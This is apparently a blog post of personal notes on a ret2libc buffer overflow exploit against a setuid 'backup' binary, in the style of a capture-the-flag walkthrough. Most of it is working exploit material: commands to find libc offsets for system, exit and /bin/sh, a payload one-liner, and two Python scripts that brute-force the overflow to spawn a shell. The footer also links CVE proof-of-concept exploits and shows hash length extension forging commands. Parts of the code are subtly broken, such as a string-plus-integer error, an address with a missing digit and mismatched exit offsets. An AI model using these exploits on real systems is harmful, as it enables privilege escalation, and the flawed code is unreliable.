Skip to main content

Buffer Over Flow Exploitation

Check if there is a Buffer Over Flow Vuln:

ldd /usr/bin/filename | grep libc

libc.so.6 => /lib32/libc.so.6 (0xf75df000)
Get The value of System:
readelf -s /lib32/libc.so.6 | grep system

   245: 00110820    68 FUNC   svcerr_systemerr@@GLIBC_2.0
   627: 0003a940    55 FUNC   _libc_system@@GLIBC_PRIVATE
  1457: 0003a940    55 FUNC   system@@GLIBC_2.0

we need the value of system@@GLIBC_2.0 "0003a940"
 Get The value of Exit:
readelf -s /lib32/libc.so.6 | grep exit
2263: 0002e7d0    78 FUNC   on_exit@@GLIBC_2.0
Get The value of /bin/sh in libc:
strings -a -t x /lib32/libc.so.6 | grep /bin/sh

 15900b /bin/sh

while true; do /usr/local/bin/backup -i $(python -c 'print "A" * 512 + "\x40\xa9\x03\x00\xb0\xe7\x02\x00\x0b\x90\x15\x00"'); done  
 IPPSEC Buffer Overflow Exploit Code:


from subprocess import call
import struct 

libc_base_addr = 0xf75b000

system_off=0x0003a940          #system offset
exit_off=0x0002e7d0   #exit offset 
arg_off=0x00015900   #bin/bash offset

system_addr = struct.pack("<I", libc_base_addr+system_off)
exit_addr= struct.pack("<I",libc_base_addr+exit_off)
arg_addr = struct.pack("<I",libc_base_addr+arg_off)

buf = "A" +512
buf += system_addr
buf += exit_addr
buf += arg_addr

i = 0
while (i < 512):
 print "Try %s" %i
 i +=1
 ret = call(["/usr/local/bin/backup", buf])
Exploit:

import struct
from subprocess import call

libc_base_addr = 0xf7542000
system_off = 0x0003a940            
exit_off = 0x0002e7b0          
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = libc_base_addr + 0x0015900b

def conv(num):
    return struct.pack("<I",num)

buf = "A" * 512
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"

i = 0
while (i < 255):
    print "Number of tries: %d" %i
    i += 1

    ret = call(["/usr/local/bin/backup", "-i", "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110", buf])
    if (not ret):
        break
    else:
        print "Exploit failed"

Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

Hash Extension Attacks

  #Install Dependencies sudo apt-get install libssl-dev #Download Hash Extender git clone https://github.com/iagox86/hash_extender.git cd hash_extender make #Run it /hash_extender --data 'username=admin' --secret 16 --append '&isLoggedIn=True' --signature d3a85d3b3087c7e841f84eb4316765c6e1f786074a1f1db996b2e0f8c96f197e2f55433920a630feb07daafadefbc13c947e5225fc509f8241f57f47a8df5311 --format sha512